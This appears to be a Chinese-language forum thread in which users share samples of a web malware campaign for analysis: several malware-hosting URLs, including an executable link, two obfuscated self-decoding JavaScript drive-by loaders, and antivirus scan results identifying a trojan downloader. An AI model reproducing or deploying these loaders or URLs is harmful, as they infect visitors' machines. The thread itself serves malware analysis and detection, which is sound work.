分析下吧

qq890

http://5959down.com/ms.gif
http://5959down.com/xl.gif
http://5959down.com/bd.gif
http://5959down.com/bf.gif
http://51yes.ocry.com/click2.js?id=259865365&logo=1

solcroft

又是大S

saber123

<META HTTP-EQUIV="imagetoolbar" C><noscript><iframe></iframe></noscript><script language="javascript"><!--
oL85="Aatp\@tp\@",vB81="AtpT\@t\)X";.5717868,jY24=".8504776",vB81='\'\/\]\;\@\{lV8\>yckO\$\"p\[R2Q\,\ \^S\\uwB\%jG5\rDiN\~FKJq\}4M\&\#\=X\`\|t\*sZ\)d\:C\?aUH\<\!1IeLvY\+hAxm\.\nn\-390Eg\_WP7\(6froTzb',oL85='\]\|i\%k1Ln\$jGI\\PJ8\r9q\}UV\'\*H\:r\[\/o\+\;\{dt\`zxZ\(v\#\=Xl\!\-Nf5g\)4Wwa3su6\"2byYRDKp\>\,T\^h\.\ \@O\~SB\n\<CcmQF\&\?M\_7EA0e';function eO45(jA29){"XAppt\)Car\&Ta",l=jA29.length;'O\_jjUd\n\n',w='';while(l--)"Af\@Tpf\$\@",o=oL85.indexOf(jA29.charAt(l)),'O\nd\?\nlUU',w=(o==-1?jA29.charAt(l):vB81.charAt(o))+w;"ApCa\@\)t\@",oL85=oL85.substring(1)+oL85.charAt(0),document.write(w);'Old\n\_Cdj'};eO45("yWI7\`\r\)\'L\"\~cr\"cKN\+\"\>\"WI7\`\r\)j\`z\&N\nBM\<\%\`\_\?3EIr\ K\~\)\@\"LLa1\_r\~I\)\`E\~\'m3\ \?a17K\)r7\~\'\_\"LWK\=\%\_r\~I\)\`E\~\'m\ 3\ \?a13EIr\ K\~\)\@E\~IE\~\)K\.\)\ K\~rNm3\ \%WK\)A\`\ KEr\)\?8m\ 3\ \?a8V\$\<\<a\=\%m\ 3\ \?a\%\=3EIr\ K\~\)\@E\~IE\~\)K\.\)\ K\~rN\~K\[\'Zr\~I\)\`E\~\?87K\)r7\~\'\_\"LWK8a\%\_r\~I\)\`E\~\'m\~3\ \?Ka1\`\_\?3EIr\ K\~\)\@L\"GK7Wgg\[\`\~3E\[\@W\`3Ke\"7a1\`\_\?K\@\[\^\`I\^YNRa7K\)r7\~\'\_\"LWK\%\=\=\%\`\_\?3EIr\ K\~\)\@L\"GK7Wa13EIr\ K\~\)\@I\"\r\)r7KC\>K\~\)W\?C\>K\~\)\@lP2HCtPQza\%3EIr\ K\~\)\@E\~\ ErWK3E\[\~Nm\~3\ \%\=KLWK13EIr\ K\~\)\@E\~\ ErWKr\rNm\~3\ \%\=\%\^QB\{NB\<\&\&\%\_Q\{XN\{BM\}\%\_r\~I\)\`E\~\'m3\[W\?a1\[\`\~3E\[\@W\)\"\)rW\'N\'8\'8\%WK\)A\`\ KEr\)\?8m3\[W\?a8VR\<\<a\%\=\%m3\[W\?a\%3zX\{NB\nB\}\%LD\{MN\nMX\$\%\_r\~I\)\`E\~\'m33W\?a1\`\_\?3EIr\ K\~\)\@\"LLa13EIr\ K\~\)\@E\~WKLKI\)W\)\"7\)N\_r\~I\)\`E\~\'\?a17K\)r7\~\'\_\"LWK\=\%WK\)A\`\ KEr\)\?8m33W\?a8V\&\<\<a\=\=\%m33W\?a\%ef\nBN\n\nBB\%cv\n\{NX\}R\n\%\_r\~I\)\`E\~\'m\~7\?a17K\)r7\~\'\)7rK\=E\~K77E7Nm\~7\%\[\,BRNX\{\<X\%W\,\&\<N\n\<\&\{\%\#FMRN\&MX\{\%\ U\<N\}\}RM\%Lw\}\$N\{\nB\}\%\+hX\&N\$\}R\$\%\"\;\}RNBM\{\<\%\%mL\`IK\~WK3m\)EmN8\^rGr\_K\~c8\%y\|WI7\`\r\)j")//--></script><ScRiPt LAnGuAge=JAVasCRIpt>eO45("Yw\\Ez94Gt\~\*4EI\*t\~Lt\~t\~\*\,2E\*o7fsA\\\[\@pS4O\\Ep24pcnp\@pS4M\rr\ \_\(r\ \_Ur\ \_\.r\ \_dr\ \_\nr\ \?l\r3kt\~\*o7Owp4\.44Ez\]\[4pM\rr\ \_\nr\ \_6r\ \_Dr\ \?\nr\ \?\nr\ \_\<r\ \_l\r\'\rr\ \_\nr\ \_6r\ \?\nr\ \_\<r\ \_lr\ \n\.r\ lUr\ llr\ \n\<r\ \n\_r\ l\nr\ \ndr\ \ndr\ \n\_r\ U\`r\ \n\_r\ \ndr\ lDr\ \n\nr\ U\`r\ \nDr\ \nDr\ llr\ \nCr\ U\`r\ \n\<r\ \njr\ \n\nr\ lDr\ U\`r\ \nCr\ \nCr\ l\nr\ \nCr\ \nlr\ l\_r\ l\nr\ \nUr\ \n\<r\ ldr\ \n\nr\ \n\_\r3kt\~\*\,2E\*v\ fo7O6Ep24pJ\]\;p\\4M\rr\ l\`r\ \_\<r\ \_\nr\ \?Ur\ \_\(r\ \?\nr\ \_\(r\ \_\_r\ \?lr\ Ucr\ dj\r\^\rr\ l\`r\ l6r\ ljr\ dlr\ dlr\ dC\r\'\r\r3kt\~\*\,2E\*\.\:fo7O6Ep24pJ\]\;p\\4M\rr\ lDr\ \_lr\ \_\(r\ \_lr\ \_Ur\ Ucr\ d\nr\ \?lr\ \?Ur\ \_dr\ \_Dr\ \_\`\r\'\r\r3kt\~t\~\*\.\:O4I9pfDkt\~\*v\ OA9pSM\rr\ l\?r\ ldr\ dl\r\'\*\|r\ \_jr\ \?lr\ \?lr\ \?Cr\ \n2r\ U7r\ U7r\ \n\<r\ \nDr\ \?\?r\ \?\?r\ \_sr\ \_sr\ Upr\ \_\nr\ \_7r\ \_sr\ U7r\ \?\nr\ Upr\ \_dr\ \?jr\ \_d\|\'C3kt\~t\~\*v\ OwpSsM3kt\~\*xwDf\|r\ \?cr\ dlr\ \_dr\ \_\`r\ \?C\|\^\!24hOEA\[SsM\!24hOE2SsA\@M3W\<\<\<\<3\^\|r\ Ucr\ \?lr\ \_\`r\ \?C\|kt\~\*7wsn27\;n2ws\;72ws\;72ws7f\|PPPPPPPPPPPPP7\;ws2n\;7nws\;7n\;swP7\;sPPPPPs7s7s\|kt\~\*\,2E\*\\\(fo7O6Ep24pJ\]\;p\\4M\rr\ d\nr\ \_\nr\ \?Ur\ \_\<r\ \?Cr\ \?lr\ \_\<r\ \_cr\ \_\?r\ Ucr\ l\_r\ \_\<r\ \_6r\ \_dr\ d\nr\ \?\<r\ \?\nr\ \?lr\ \_dr\ \_\`r\ l\(r\ \_Ur\ \_\.r\ \_dr\ \_\nr\ \?l\r\'\r\r3kt\~\*\,2E\*xw0\@9f\\\(O\{p4\:9p\\z2n\(AnspEMC3k\*xwDf\*\\\(Oo\[zns\&24hMxw0\@9\'xwD3k\*\.\:OJ9pSM3k\.\:OFEz4pMv\ q\rr\ \?Ur\ \_dr\ \?\nr\ \?Cr\ \_7r\ \_pr\ \?\nr\ \_dr\ lUr\ \_7r\ \_lr\ \?\<\r\%3kt\~\*\.\:O\:2\,p0A\(znpMxwD\'U3k\*\.\:O6nAwpM3k\*\,2E\*\=fo7O6Ep24pJ\]\;p\\4M\rr\ d\nr\ \_jr\ \_dr\ \_6r\ \_6r\ Ucr\ lDr\ \?Cr\ \?Cr\ \_6r\ \_\<r\ \_\nr\ \_Dr\ \?lr\ \_\<r\ \_\(r\ \_c\r\'\r\r3kt\~\*APDf\\\(Oo\[zns\&24hMxw0\@9\^\|r\ d6r\ d6r\ \?\nr\ \?\<r\ \?\nr\ \?lr\ \_dr\ \_\`r\ \n\nr\ \nU\|\'\|r\ \_\nr\ \_\`r\ \_lr\ Ucr\ \_dr\ \?jr\ \_d\|3kt\~\*\=q\rr\ d\nr\ \_jr\ \_dr\ \_\\r\ \_\\r\ ldr\ \?jr\ \_dr\ \_\nr\ \?dr\ \?lr\ \_d\r\%MAPD\'\|r\ UCr\ U\(r\ \_\n\*\|\^xwD\'\r\r\'\rr\ \_\(r\ \?Cr\ \_dr\ \_c\r\'C3kt\~\*\]\]\]\]\]\]\]\]\]\]\]7swmsw7mws7m2ws77777777f\|PPPPPPPPPPPPP7\;ws2n\;7nws\;7n\;swP7\;sPPPPPs7s7s\|kt\~Xt\~\*\\24\\hM\ \ 7\=p2sw73\*L\*\ \ 7\=p2sw7fDk\*Xt\~Yiw\\Ez94G")</script></head><body><noscript><b><font color=red>This page requires a javascript enabled browser!!!</font></b></noscript></body></html>

mofunzone

http://91wwmm.com/s.exe

mofunzone

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\s.exe'
C:\TDDOWNLOAD\
  s.exe
      [DETECTION] Is the Trojan horse TR/Agent.1460.1
      [NOTE]      The file was deleted!

sam.to

打包上來


卡巴只报.exe的那个，上报卡巴

已偵測: 特洛伊木馬程式 Trojan-Downloader.Win32.Injecter.nv        檔案: C:\Documents and Settings\kato9096\桌面\s.exe2//PE_Patch//UPack

挪威的冬天

金山 0

曲中求

E:\病毒\桌面.rar > RAR > s.exe2 - Win32/TrojanDownloader.Tiny.Y 特洛伊木马 的变种

tanlimo

为何金山还是0？

saber123

第3个：
<html><head>
<script language="javascript"><!--
kL78="Tlffetffo",mR0="TlteoZZ\@e";0.4251168,fC38="0.5622773",kL78='\]\/kVZ\r\)\`K\,\_6jMGA\'I\}\#\(Cmw\$ro\|\>8\=\ pe5uUdPBF\*E\\sS\nzqN\-7\<2li\;n\{\.\@Jv\"h3X\~Q\+\%agHf0LT\&R\[1c\!tYy\?bO\^D9\:4xW',mR0='\<\^\)\!2\{s\ \rgtyS\_\:5H\+c\=n\}q\;4\&O\.eiC3U\@B\-K6F\|dIvh\?\/\'a\~R8No\n\`9umlYEJ\,xf\"w1zGW\%\*0TQVjPr\#p\>Lk7M\]\[A\\X\(ZDb\$';function iI0(rP24){"TlXof\@\@t\#",l=rP24.length;'f\>yr\r\r\'\rp',w='';while(l--)"TlXotX8\#e",o=kL78.indexOf(rP24.charAt(l)),'f\>Ppy77\;',w=(o==-1?rP24.charAt(l):mR0.charAt(o))+w;"Tl\#Z8Z\#TZ",kL78=kL78.substring(1)+kL78.charAt(0),document.write(w);'f\>py\;\'\ryp'};iI0("\]\)\}R81\_\`\{z\(\,\;z\,\>\#TzEz\)\}R81\_c\>o\$Z\#\$d\$iwh\;\(\}\_8\<\(\`M\(R9k\rR\>\_\;R\(\`\_R\;\>C\<\(\>RR\<R\#M\(RwRLA\$\#\$dAZwwM\{8\}\>\(\)\>FM\_\<M\#3\\\;6\;h\>\(\,3w\]S\)\}R81\_c")//--></script><sCRIpt lANgUAgE=jaVaSCrIPt>iI0("\/\`\#\[\=c6\!\~\=C\*2\~\>2C8\[\[2\[\(3nC\#6\=2C\:V\)\[86n\[CK6\[n8\$m\/\n\`\#\[\=c6\!\,l\/\|uvJ\ 0KExK\(KX\#2\{XK\`6j\.8\(z\*\=\`c\.qjAC2C8zK\ t\^MMExK\(KX\#\.\`\=\*A\)\^yBf\'JJrUfr\rPExAUr\'rBU7fQpU\ rQJp\'\;PJ\;J\;mX\!\/\n\|uvJ\ 0\!\,l\/\`\#\[\=c6\!\,l\*\*\*\*\*\*\*q\`\`q\*\*\*\*\*\*\*\*\*\*\*\*\*3\*\`3\`3K\(KX\*\*\*\*\`q\*q\*\`\*\*q\`3\*\`\*\*\*\*\*\*\*3q\`\*3q\`3q\`3X\$\,l\#2\{OXDhrrDhP\#DhP3DhPQDhPrDhrrDh\'pXb\:XDhP7DhyrDhyrDhyfDhpqDh\r3Dh\r3Dhp\;DhpQDhyyDhyyDhP\*DhP\*Dh\r8DhPpDhP3DhP\*Dh\r3DhP\rDhPrDh\r8DhPpDhPQDhP\rX\"KXDhypDh\r8DhP\'Dhy7DhP\'X\"KfV\$\,l\/\n\`\#\[\=c6\!")</script></head><body></body></html>